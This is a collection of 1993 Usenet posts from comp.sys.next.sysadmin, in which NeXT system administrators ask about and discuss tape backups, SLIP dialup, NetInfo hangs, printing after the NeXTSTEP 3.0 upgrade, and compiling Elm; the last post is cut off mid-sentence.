Newsgroups: comp.sys.next.sysadmin Subject: 8mm Tape Drives? Message-ID: <93056.093326SLVQC@CUNYVM.BITNET> From: Salvatore Saieva <SLVQC@CUNYVM.BITNET> Date: Thursday, 25 Feb 1993 09:33:26 EST Organization: City University of New York/ University Computer Center I'm looking for recommendations for 8mm drives for a NeXT cluster. Also of interest would be backing up a VAX/Ultrix system over the net (although this is not required). In particular, does anyone have anything to say about the drives from Contemporary Cybernetics, good or bad? Sal. ------- Salvatore Saieva Internet: saieva@alehouse.acc.qc.edu Queens College, Academic Computer Center BITNET: saieva@qcvaxa.bitnet 65-30 Kissena Blvd, Flushing, N.Y. 11367 DeskNet: (718) 997-5907 awk, sed, grep, lex, yacc, make, >, <, |,... ``I got the Power!''
From: jimc@tau-ceti.isc-br.com (Jim Cathey) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Help: Mounting floppy images. Keywords: filesystem, image, mount Message-ID: <3145@tau-ceti.isc-br.com> Date: 25 Feb 93 18:05:30 GMT Organization: Olivetti North America, Spokane, WA I have an 030 cube with no floppy drive. This makes it difficult these days to buy software (as you might imagine, although I do have a CD-ROM drive and a QIC tape drive). I have tried to circumvent this problem by grabbing an image of a 2.88 MB floppy via a PC at work that has such a drive. I dd'd this image file over a spare 40 MB SCSI hard disk, trying both /dev/rsd2a and /dev/rsd2h, but to no avail. This 'mutant' filesystem refuses to mount nor does it fsck correctly, but I don't see exactly why it won't. After all, ultimately a filesystem is just a sequence of disk blocks. There must be something with the partition headers that prevents this from working. A disk scan finds spare superblocks, and when I fsck with one of those it is able to get the right volume name of the floppy, but things go to hell soon after that. Oddly enough, I saved the filesystem that was originally on /dev/rsd2a (/NextLibrary/Literature) to QIC tape, and I was able to restore it after the experiment with no ill effects (though I think I should have used rsd2h instead, but I didn't know about this when I started). Obviously, something is going on here that I don't understand. If the NeXT OS were like our system 5.2-oid here at work I could mount a filesystem image file as a volume, but unfortunately our system only understands SysV & PC volume formats. The 5.4 systems here seem to be like the NeXT --- devices or NFS volumes only. Would this trick work to an OD? (I don't have a spare one, but I could probably move one of mine to tape temporarily.) Is there _any_ way I can extract what I need from this image file? -- +----------------+ ! II CCCCCC ! Jim Cathey ! II SSSSCC ! ISC-Bunker Ramo ! II CC ! TAF-C8; Spokane, WA 99220 ! IISSSS CC ! UUCP: uunet!isc-br!jimc (jimc@isc-br.isc-br.com) ! II CCCCCC ! (509) 927-5757 +----------------+ One Design to rule them all; one Design to find them. One Design to bring them all and in the darkness bind them. In the land of Mediocrity where the PC's lie.
Newsgroups: comp.sys.next.sysadmin From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis) Subject: Workspace Fonts...Thanks Message-ID: <1993Feb25.182636.6772@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Thu, 25 Feb 93 18:26:36 GMT Thanks to all that responded to my font question. I should have stated that I am running NeXTStep 2.2. It seems that in 2.2 there is no easy way of changing the title bar font.(?) One person recommended rebooting and this 'fixed' it. Thanks again, Scott
Newsgroups: comp.sys.next.sysadmin From: o10035@nextphx.corp.mot.com (Jerry DeLuyck) Subject: pcnfsd for the NeXT Organization: MOTOROLA Date: Thu, 25 Feb 1993 16:42:13 GMT Message-ID: <1993Feb25.164213.15398@schbbs.mot.com> Sender: news@schbbs.mot.com (Net News) Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT? NS 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out a lot of features.
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: reasb: what gives? Message-ID: <18686@umd5.umd.edu> Date: 25 Feb 93 18:54:01 GMT Sender: news@umd5.umd.edu Organization: University of Maryland, College Park, MD Can someone tell me why reasb insists on recovering data before it does any block reassignment? Our wonderful Seagate drive (bleagh, GOD I hate Seagates) decided to generate a few bad sectors, blowing away a couple of partitions. No problem, I have the handy dandy reasb. 18 sectors in all are bad (unless I find more as it's read'ing as I type). I try to reasb the ones I find. Can't recover data, reasb failed. Even with the -r option, which seems to make it try 21 more times. Why oh why doesn't reasb know that if you can't read the block, you want to reassign it? I mean, if you can recover the data, what's the point in reassigning it? (yeah, I know, soft errors, but this is a friggin' HARD ERROR we're talking about). Does reasb only send SCSI commands to the disk controller and that does the rest? Is Seagate's commandset the thing that's screwing me over now? Inquiring minds want to know. And yes, I do have a recent backup. This just causes me to lose a good half day minimum of work fixing this. I figure I have to repartition around the bad sectors now. A reformat probably won't make these errors go away. Hell, I was thinking about re- partitioning anyway. ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ Remember that whatever misfortune may be your lot, it could only be worse in Cleveland.
Newsgroups: comp.sys.next.sysadmin From: dwendeln@cs.umr.edu (Dan Wendeln) Subject: Help with SLIP Date: Thu, 25 Feb 1993 20:50:05 GMT Organization: University of Missouri-Rolla, Missouri's Technological University Keywords: SLIP Sender: cnews@umr.edu (UMR Usenet News Post) Message-ID: <1993Feb25.205005.13882@umr.edu> Hello Everyone, This is my problem: The university here has a new dialup which is slip capable. The bummer, however, is that it dynamicaly gives you an address when you iniciate "SLIP" on the server. So what I would like to do is use the current SLIP package available on the net, but bypass the dial on demand feature and basicaly just dialup the server by hand get the address of the day and iniciate the proper SLIP command to get it running. I've read the docs that came with the package but I am not a UNIX guru (slowly getting there :-)). Any help would be appreciated. Email to dwendeln@cs.umr.edu NeXT mail accepted. Dan Wendeln dwendeln@cs.umr.edu t103838@UMRVMB.umr.edu s103838@UMRVMA.umr.edu
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: Re: Deleting sync account Date: 25 Feb 1993 11:09:35 -0600 Organization: Cube Technologies, Inc Message-ID: <1miugf$2rq@imladris.cubetech.com> References: <1993Feb25.024650.19372@midway.uchicago.edu> In article <1993Feb25.024650.19372@midway.uchicago.edu> tisue@athens.uchicago.edu (Seth Tisue) writes: >Our machines came with the following system account: > >athens 8:44pm ~> nidump passwd . | grep sync >sync::-2:-2::/:/bin/sync > >I'd rather not have a password-less account. Is it safe to change the >password to *? How about to remove the account entirely? Changing it to an asterisk is OK. It's really there so users can sync the disks though, but I don't think it's vital. andrew
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: man page for xferlog(5)? Message-ID: <1993Feb25.204235.16322@murdoch.acc.Virginia.EDU> Followup-To: poster Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Thu, 25 Feb 1993 20:42:35 GMT I'm looking for the format of the xferlog file. Most of it is obvious, but there are a couple of things I can't figure out. The ftpd man page refers me to xferlog(5), but NeXT doesn't seemed to have sent that one out. Neither, as far as I can tell, did Sun (Sunos 4.x) or IBM (AIX 3.1 and 3.2). I've run out of machine I can check - does anyone have this man page? Thanks, Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
From: fasano@scarolina.cerfnet.com (Christopher G. Fasano) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: rarp under NS Version 1.0, or 2.0 Date: 25 Feb 1993 22:32:55 GMT Organization: CERFnet Message-ID: <1mjhenINN8ui@news.cerf.net> Keywords: rarp, nrarp Hello, I am still looking for rarp for the NeXT. This seems to be a serious problem and the omission of rarp looks like a bug. I have reported it to the NeXT Techs, and they say rarp was out there as perhaps nrarp in an early version of NeXTSTEP. So, is there anyone out there still at 1.0, or 2.0. Could you look for rarp, or nrarpd for me. Please let me know if you find it, and if possible, send me a copy... Still desperate, Chris Fasano fasano@scarolina.cerfnet.com NeXT MAIL is just fine.
From: danno@css.itd.umich.edu (Dan Pritts) Newsgroups: comp.sys.next.sysadmin Subject: PCNFSD for NeXT? Date: 26 Feb 1993 01:11:22 GMT Organization: University of Michigan ITD Consulting and Support Services Distribution: world Message-ID: <1mjqnqINNrao@stimpy.css.itd.umich.edu> Hi, has anyone got a working pcnfsd for NeXT? My server is running 2.2 still, if it matters (which it might). I've got source which doesn't compile cleanly, and thought i'd rather not re-invent the wheel on this one. thanks, danno -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
From: ngervae@next.com (Nik Gervae) Newsgroups: comp.sys.next.bugs,comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0) Message-ID: <6890@rosie.NeXT.COM> Date: 26 Feb 93 01:15:43 GMT References: <C2ttyB.6Bt@mentor.cc.purdue.edu> Sender: news@NeXT.COM Followup-To: comp.sys.next.bugs Just adding my "me too" to the list of satisfied users of zsh. If I had my way (which I don't :-), I'd have zsh shipped as the default shell for users. -- Nik "and no, that doesn't mean you should ask NeXT to do it" Gervae Software Publications ## S2/8bg+-l+y++-/:!z-n-++o-+/++:x-+:a++:u-+v+:j+-p(eR) NeXT Computer, Inc. ## B2(go-t & sburns)f-t+c-!g-(--)k--s---mr-p+ ngervae@next.com ## [[[[NXDisclaimer alloc] init] disclaim] free];
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: NetInfo locks up BAD Date: 25 Feb 1993 14:54:48 -0600 Organization: Cube Technologies, Inc. Message-ID: <1mjbmo$3f3@valinor.cubetech.com> We just switched over to a net connection, and on the router/gateway machine (which is also a netinfo clone), whenever sendmail does a hostname lookup, netinfo will completely hang on that machine. *any* netinfo lookup will hang for several minutes. This means logins, ls -l, sendmail, ps, DNS, anything, will hang. How can I fix this? This gets really bad when someone sends mail to the indexing kit mailing list and listserv tries to send 120 pieces of mail - the machine is useless for hours! thanks, andrew y* netinfo lookup will hang for several minutes. This means logins, ls -l, sendmail, ps, DNS, anything, will hang. How can I fix this? This gets really bad when someone sends mail to the -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin From: sircomp@bcarh289.bnr.ca (Brian Magee) Subject: Lost HD space Message-ID: <1993Feb26.011518.11459@bmerh85.bnr.ca> Sender: news@bmerh85.bnr.ca (Usenet News) Organization: Bell-Northern Research Ltd. Date: Fri, 26 Feb 93 01:15:18 GMT Hi all: Just the other night, my HD mysteriously lost about 20Meg. I assume that it happened after the 2am FSCK, but I'm open to suggestions on what else it might have been. I tried re-booting, no good. I thought perhaps that a swap-file had been set up (I have the internal 105 as a swap disk), but no swapfile. Any ideas? I really hate to lost 20Meg! I mean, I could store a nice sound file in that area :-) AtDhVaAnNkCsE Rob -- Rob Parkhill: sircomp@bnr.ca |"It's all so clear to me now. I'm the keeper NeXTmail preffered at: | of the cheese, and you're the lemon merchant. rob@hobbes.oghma.ocunix.on.ca | Get it?" - Ren Hoek
Newsgroups: comp.sys.next.sysadmin From: cfwu@sun13.ee.nctu.edu.tw (Wu Chi-Fon) Subject: How to do moving image acquisition Message-ID: <1993Feb26.031904.8545@cc.ntnu.edu.tw> Sender: news@cc.ntnu.edu.tw Organization: NTNU, Taiwan, R.O.C. Date: Fri, 26 Feb 1993 03:19:04 GMT Help!! I want to do moving image acquisition from the VTR/VCR and I have the application "ColorMovieWork.app". But every time I want to record the moving image, the program tell me "cannot set CDY for capture". If anyone knows how to get moving image, please send a email to me. Thanks very much. Chi-feng Wu cfwu@ice.ntnu.edu.tw Department of Information and Computer Education National Taiwan Normal University
From: Christian.Andretzky@mb3.tu-chemnitz.de (Christian Andretzky) Newsgroups: gnu.utils.bug,comp.sys.next.sysadmin Subject: Problems running gnu tar 1.11.1 in a mixed environment Message-ID: <1993Feb26.003427.15575@mb3.tu-chemnitz.de> Date: 26 Feb 93 00:34:27 GMT Article-I.D.: mb3.1993Feb26.003427.15575 Followup-To: gnu.utils.bug,comp.sys.next.sysadmin Distribution: world Organization: University of Technology Chemnitz, FRG Apparently-To: bug-gnu-utils@prep.ai.mit.edu I try to use tar 1.11.1 to backup a mixed network (sun and next). The DAT-tape is connected to a NeXT. Backing up the local machine and any other next in the network works ok. But if I try to backup a sun using the tape on the next tar will hang after it is started on the sun. Any suggestions? TIA, Christian -- Name: Christian Andretzky | Address: Technische Universitaet Chemnitz | Phone: +49 371 561 2130 | Fachbereich Maschinenbau III | FAX: +49 371 561 2413 | Reichenhainer Str. 70 | mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz |
Newsgroups: comp.mail.elm,comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: New Notes on Compiling Elm2.4PL21 under NeXTstep Message-ID: <1993Feb26.055116.4384@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison Date: Fri, 26 Feb 93 05:51:16 GMT With the help of others, I've updated my notes on compiling Elm2.4PL21 (not earlier versions) under NeXTstep 3.0 and 2.x. A complete copy of the file follows. I think it obsoletes *all* of section 2.17 of the current Elm FAQ (I've mailed to to S. Serini in Italy, who maintains the FAQ). The file also now resides in my anonymous ftp directory pub/elm on yak.macc.wisc.edu [144.92.30.18], as file how2next. Please let me know if you find errors or significant variations. Compiling Elm 2.4PL21 on NeXT Computers ======================================= Jess Anderson (anderson@macc.wisc.edu) Feb 25, 1993 ======================================= Elm can be configured many different ways. This file tells you about just some of the ways. If you do it a different way and run into problems on a NeXT machine, please tell me about how you solved them so I can update these instructions. Change two source files ----------------------- Changes introduced at PL 21 depend on a header file called unistd.h, which does not exist on NeXT. This requires a manual intervention in two files, <elm>/hdrs/defs.h and <elm>/hdrs/filter.h, to comment out the references. Save the originals, since you may need to back out when another patch comes along. I anticipate that patch 22 will fix this particular problem. These diffs explain the changes: $ diff hdrs/defs.h hdrs/defs.h.orig 498,499c498 < #ifndef NeXT < # ifndef ANSI_C /* ANSI puts these in string.h */ --- > #ifndef ANSI_C /* ANSI puts these in string.h */ 505,508c504,506 < # else < # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */ < # endif < #endif /* NeXT */ --- > #else > # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */ > #endif $ diff hdrs/filter.h hdrs/filter.h.orig 217,219c217 < # ifndef NeXT < # include <unistd.h> /* NeXT doesn't have this header file */ < # endif /* !NeXT */ --- > #include <unistd.h> Running Configure ----------------- When I run Configure (I'm on NS3.0), I take the default responses for all questions except those noted here. Give the name of the program used to process manual pages on your system: [/usr/bin/troff] /usr/bin/ptroff What options should Elm use with /usr/bin/ptroff: [] -t What optimizer/debugger flag should be used? [-O] -O -pipe Note: -pipe speeds up the compilation, but it's not required, so you could take this default. Also, one person told me they used -O2 with gcc as their compiler. Any additional cc flags? [none] -bsd Note: This used to be -bsd -fwritable-strings. That no longer seems necessary. In fact, Elm will compile and run if you take the default here. Using -bsd, however, greatly reduces the number of compiler warnings you get. One person told me he could *not* use -bsd; he's running NS 2.2 (actually, I think he had a different problem, but I never got that ironed out. Any additional ld flags (NOT including libraries)? [none] Note: Using -object here (would give you smaller binaries) will cause a hang right near the end, while linking filter. What is the full path name of the include file directory? [] /usr/include/bsd You need this with NS3.0. Am I going to be running as a setgid program? [y] n Note: it will work if you say yes, but it's better security, they tell me, not to. In addition to these answers, I also set my domain and turned MIME on. You may want to take other nondefault options, but I can't vouch for what will happen. Configure options for NeXTstep NS1.0, NS2.x ------------------------------------------- Note: these have been provided by others; I'm just passing them on here. libs='-lsys_s' includepath='/usr/include' ccflags='-bsd' [but apparently not for 2.2?] ldflags='-object' [optional, for smaller binaries] Note: there no longer is a tag named d_voidsig= in config.sh. Configure also finds the compiler library, /lib/libsys_s.a, so the question about that has gone away. At the shell escape prompt or just before ----------------------------------------- Beginning with Elm 2.4, there is a mechanism for changing config.sh at the end of the Configure process. If a file named config.over exists, Configure asks if you want to apply it. If you say yes, it does, then pauses at the famous shell escape prompt. I have this in my config.over: d_memcpy='undef' sigtype='int' d_tzname='undef' passcat='nidump passwd /' nametype='bsd' d_bsd='define' Note: You must have the first three of these. There is some disagreement about the other three. The passcat line doesn't actually get used, it seems. One person has nametype='other' and d_password='define', says it works for him. When Configure gives you the option to use a shell escape to edit config.sh before proceeding, do so unless you used the config.over file and make the changes listed above. Reconfigure script ------------------ I've tried so many different things by editing config.sh manually at the shell escape prompt that I finally wrote a simple script to run it over all the SH files before compiling. To use it, put it in your top elm directory, do a chmod +x to make it executabl, then run it; basically, it's the tail end of Configure following the shell escape. Compilation ----------- Then run a make. Some warnings appear during compilation (takes about 10 minutes); they don't seem to make a difference. You have to be root to run make install at the end of the compilation. Credits ------- Several people contributed to this effort. They include Syd Weinstein (syd@dsinc.dsi.com), Jeff Nicholson-Owens (jeffo@uiuc.edu), Eric P. Scott (eps@toaster.sfsu.edu), and Guy Thomas (gthomas@native-ed.bc.ca). Many thanks to all. But I'll take the blame if there are errors here. -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
From: yono@ccwf.cc.utexas.edu (Suryono Adisoemarta) Newsgroups: comp.sys.next.sysadmin Subject: Remote Printer Problem after Upgrade Date: 26 Feb 1993 05:56:52 GMT Organization: The University of Texas at Austin, Austin TX Distribution: usa Message-ID: <1mkbf4INNbe6@geraldo.cc.utexas.edu> Originator: yono@donald.cc.utexas.edu Hi, we just upgrade two of our NeXTs to 3.0, but now only one NeXT can print to the laser printer (which is it's local printer), the other NeXT cannot print to that same laser printeri (it's remote printer). The system was working fine before we did the upgrading. What should I do now ? Any new properties for printcap in NS 3.0 ? Thanks for your responses Yono Adisoemarta ------------------------------------------------------------------------------ Paulus Suryono Adisoemarta Internet: yono@ccwf.cc.utexas.edu Petroleum Engineering Dept. paulus@nextdown.pe.utexas.edu (NeXT!) U of Texas, Austin yono@pcdown.pe.utexas.edu Phone: (512) 471-9628 PBBS: N5SNN @ N5LJF.#AUS.TX.USA.NA Radio: n5snn or yg1qn AMPRnet: n5snn@n5ljf.ampr.org
From: Meinhard.E..Mayer. (hardy@f236.n104.z1.FIDONET.ORG (Meinhard E. Mayer (hardy))) Newsgroups: comp.sys.next.sysadmin Subject: HOW DOES ONE BACK UP TO MULTIPLE Message-ID: <371.2B8D4C66@paranet.FIDONET.ORG> Date: 23 Feb 93 21:43:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- Meinhard E. Mayer (hardy - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Meinhard.E..Mayer.(hardy@f236.n104.z1.FIDONET.ORG
Newsgroups: comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: .forward (THANKS) Message-ID: <1993Feb26.080148.1328@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Fri, 26 Feb 1993 08:01:48 GMT Thanks for the zillion answers to to .forward. The file was owned by root. And sendmail considers any other owner than the directory owner a Trojan horse. -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
From: eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) Newsgroups: comp.sys.next.sysadmin Subject: flush output error? Message-ID: <8949@dove.nist.gov> Date: 24 Feb 93 17:01:13 GMT Sender: quyen@dove.nist.gov This message appears on the console and the message files when I quit applications: WindowServer[161]: IPCFlushOutput: failed to flush output for stream 0x811b50. What does it mean? what can/should I do about it? Thanks in advance, Eric -- -------------------------------------------------------------------------- ----- Eric S. Boltz, M.S.E. *eboltz@nist.gov* Materials Research Engineer eboltz@jhunix.hcf.jhu.edu (Ultrasonics & Materials Characterization) eboltz@cndenext.mrs.jhu.edu Materials Reliability Division eboltz@jhuvms.BITNET National Institute of Standards and Technology eboltz@tiber.nist.gov
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Help with SLIP In-Reply-To: dwendeln@cs.umr.edu's message of Thu, 25 Feb 1993 20:50:05 GMT To: dwendeln@cs.umr.edu (Dan Wendeln) Message-ID: <CEDMAN.93Feb25214203@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Feb25.205005.13882@umr.edu> Date: Fri, 26 Feb 1993 01:42:03 GMT In article <1993Feb25.205005.13882@umr.edu> dwendeln@cs.umr.edu (Dan Wendeln) writes: This is my problem: The university here has a new dialup which is slip capable. The bummer, however, is that it dynamicaly gives you an address when you iniciate "SLIP" on the server. So what I would like to do is use the current SLIP package available on the net, but bypass the dial on demand feature and basicaly just dialup the server by hand get the address of the day and iniciate the proper SLIP command to get it running. I've read the docs that came with the package but I am not a UNIX guru (slowly getting there :-)). Any help would be appreciated. Email to dwendeln@cs.umr.edu NeXT mail accepted. You can do better. If your terminal server is among the more common types you can write scripts for Louis Mamakos dialupip (which I take it you are using ? -- there are also other SLIP packages for the NeXT) which gets the IP address from the remote server on connect and then configures your system to have that address. If you do this make certain that starting dialupip doesn't happen in rc.local (as the documentation suggestion), but much earlier eg. right after the syslog daemon is started in rc. This is necessary as some daemons (like eg. sendmail) get the local hostname once on startup and hence dialupip must have connected and re-configured the hostname before they start. This is the best you can do with local configuration and works reasonably well once you have the configuration done correctly -- but getting there is not for the faint of heart. If you want a better solution, convince your SLIP administrator to do what the SLIP administrator here at Princeton does ie. configure the server so that you can chose your own hostname (with password protection) when you start slip. This is the proper solution in the long run, but getting some admins to do things right can take a long time. Carl Edman
From: mcneill@devon.co.uk (Keith McNeill) Newsgroups: comp.sys.next.sysadmin Subject: Where to find a recent version of Websterd Message-ID: <1993Feb26.101423.2692@devon.co.uk> Date: 26 Feb 93 10:14:23 GMT Organization: Devon Systems International The only version of websterd I can find is dated 1989 and doesn't seem to work. From looking around a little bit it seems that Next has changed the Dictionary format since then...way back in the 80's. I need websterd so that we can use Xwebster from our other than NeXT workstations. Thanks, Keith -- Keith D. McNeill | Devon Systems International +44 71 499 8381 | 14 Old Park Lane mcneill@devon.co.uk | London W1Y 3LH UK
Newsgroups: comp.sys.next.sysadmin From: masud@invnext.worldbank.org (masud cader) Subject: LISTSERVER for NeXTs??? Message-ID: <1993Feb26.134024.12386@worldbank.org> Keywords: LISTSERVE, MAILSERVE, MAIL Sender: news@worldbank.org Organization: The World Bank, Washington, DC, USA Date: Fri, 26 Feb 1993 13:40:24 GMT I would like to implement a mail listserver on my NeXT. Is there any code which I can recompile and which is nown to work. Basically I wish to provide subscribe/unsubscribe, help, get and put from within mail messages. If anyone has one such system up, I would appreciate knowing all that you had to do, and I would also like to know the names of any programs which implement a listserver. I am a relative novice at attempting to setup a listserver, only haveing experience using them ;-) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Masud Cader Trading Analytics The World Bank masud@invnext.worldbank.org
Newsgroups: comp.sys.next.sysadmin From: tpg@rchland.vnet.ibm.com (Terry Gliedt) Subject: lpr - No such file or directory Sender: news@rchland.ibm.com Message-ID: <1993Feb26.134619.22483@rchland.ibm.com> Date: Fri, 26 Feb 1993 13:46:19 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM Organization: IBM Rochester After finally converting from NS2.1 to 3.0 I have been trying to get my DeskJet printer to work. I installed the latest djf for 3.0 package and all appeared to be just fine. However when I try printing, I get the following (or something close, this is from memory) from lpr: lpr: connect: no such file or directory cannot restart printer daemon After checking the BSD sources for lpr and lpd, it appears that lpd establishes a named socket (/dev/printer, which I can see in /dev BTW). Using strings on a BSD system here at work, I can see "/dev/printer" in the binaries. Doing the same on my NeXTstation, I see "/dev/printer" in lpd, but not in lpr. Further investigation shows the following msg in /usr/adm/messages: lpd: Name lpr Msg connect "/dev/lpd/printer" No such file or directory Excuse me? "/dev/*LPD*/printer" !?? Sure enough, this string can be found in both binaries. Whats going on here ? The data from lpr gets properly queued, its just that lpd never gets notified about it and so never prints the data. I've even gone back the CDROM to check I had the proper binaries that /etc/services was the same. I'd appreciate some advice. Thanks !
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: matt%mattcube@concert.net(Matthew M. Stecker) Subject: CD Audio Autoplay. Second Try Message-ID: <1993Feb26.154135.9973@mattcube> Sender: matt@mattcube Organization: UNC School of Law, CC for NeXT Computer, Inc. Date: Fri, 26 Feb 1993 15:41:35 GMT I have a '040 cube/3.0/NeXTCDRom player. I can play CDAudio discs by starting manually the CDPlayer app, then inserting a disc. If I place a CDAudio disc in the player without starting that app, the workspace simply rejects it. I know that there is some way (something about proper SCSI addresses maybe?) to set the system up so that manual launching of CDPlayer.app is not necessary. I asked this question last week, and am asking it again because the responses I got broke down as follows: 12! responses : "Please, I'm trying to figure this out also. Let me know! 1 response: Try setting "public window server in preferences" (didn't work). If anyone can help, let me know. (and I'll forward the answer to the 12 people who asked me to). Thanks again, Matthew -- matt stecker | This is my NeXT Computer NeXT Campus Consultant, | There are many like it, UNC School of Law | but this one is mine.
Newsgroups: comp.sys.next.sysadmin From: dicosmo@dmi.ens.fr (Roberto DiCosmo) Subject: Webster demon for 3.0 Message-ID: <1993Feb26.175434.13037@ens.fr> Sender: news@ens.fr (USENET News System) Organization: Ecole Normale Superieure, PARIS, France Date: Fri, 26 Feb 93 17:54:34 GMT I just upgraded our NeXT machines to 3.0, and almost everything works fine, BUT surprise ... the websterd daemon that allows remote users to query the Webster dictionary stopped working!!!! Any known fixes? Thanx! -- Roberto Di Cosmo <dicosmo@dmi.ens.fr> LIENS Ecole Normale Superieure 45, Rue d'Ulm 75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin From: o10035@nextphx.corp.mot.com (Jerry DeLuyck) Subject: AplleTalk Problems Organization: MOTOROLA Date: Fri, 26 Feb 1993 17:36:50 GMT Message-ID: <1993Feb26.173650.2557@schbbs.mot.com> Sender: news@schbbs.mot.com (Net News) I haven't seen anyone mention this, so I guess I will. I have not been able to get the AppleTalk/EtherTalk portion of NS 3.0 to work correctly since I installed it! Printing to an AppleTalk printer starts then hangs the atalkd.... Also, certain printers seem to work OK, but others don't. Worse yet, when print is sent to a printer that doesn't work, all of the AppleTalk printers stop working! That's quite a feature. NeXT is aware of the problem, but they have said the fix will not be out until NS 3.1 ships (in May?). Am I the only person who wants this to work or is anyone else as disappointed in support from NeXT for NS 3.0 as I am?
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Re: HOW DOES ONE BACK UP TO MULTIPLE Message-ID: <HARDY.93Feb26113920@golem.ps.uci.edu> In-reply-to: Meinhard.E..Mayer.'s message of 23 Feb 93 21:43:00 GMT Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA References: <371.2B8D4C66@paranet.FIDONET.ORG> Date: 26 Feb 93 19:37:26 GMT In article <371.2B8D4C66@paranet.FIDONET.ORG> Meinhard.E..Mayer. (hardy@f236.n104.z1.FIDONET.ORG (Meinhard E. Mayer (hardy))) writes: Meinhard E. Mayer (hardy - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Meinhard.E..Mayer.(hardy@f236.n104.z1.FIDONET.ORG I would like to make it clear that I never posted this and don't even know what FIDONET.ORG is. Would the person responsible for this post please correct their software! -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin From: geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) Subject: Upgrading 1.0->3.0 Message-ID: <1993Feb26.230451.1813@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department Date: Fri, 26 Feb 93 23:04:51 GMT A friend has a 1.0 system and wants to upgrade to 3.0. I gave him an OD with the contents of the Upgradeprep floppy, but Upgradeprep won't run because it needs a shared library. So we tried copying sdmach into the root (as sdmach1, since I'm paranoid) and booting it, but the boot program from 1.0 refuses to recognize the format of the sdmach file. What's the procedure for going directly from 1.0 to 3.0? Does my friend have to go via 2.0? (That's a viable option, since I could mail him my 2.0 OD, but I was hoping for something a bit cleaner.) -- Geoff Kuenning geoff@maui.cs.ucla.edu geoff@ITcorp.com
Newsgroups: comp.sys.next.sysadmin From: bogdan@eecs.nwu.edu (Bogdan Vacaliuc) Subject: LaserJet Printing Troubles Message-ID: <1993Feb26.220933.6218@eecs.nwu.edu> Keywords: laserjet print serial help Sender: usenet@eecs.nwu.edu (Mr. Usenet) Organization: EECS Department, Northwestern University Date: Fri, 26 Feb 1993 22:09:33 GMT Hello, I have been trying to connect a HP LaserJet (4) printer to our NeXT network of two machines for about a week now. Originally we had hoped to use the LocalTalk port on the HP. (It has a parallel,serial,and LocalTalk port). Anyway, we left that since LocalTalk uses differential RXD and TXD lines. Moving on to the obvious serial line connection, I followed the pin- diagrams given in the NeXT documentation and constructed a cable. (There are a number of conflicting descriptions around - I've tried them all!) Anyway, at this point we have a cable from NeXTConnection and one that I think should work based on what HP says the serial port pinouts are. (RS-232C) Anyway, I've setup NetInfo with a number of parameters to setup the serial port properly. I've tried the LaserWriter parameters (suggested by NeXTConnection), I've tried my own settings based on my understanding of what the printer would expect on the serial line. The two refuse to speak to each other no matter what 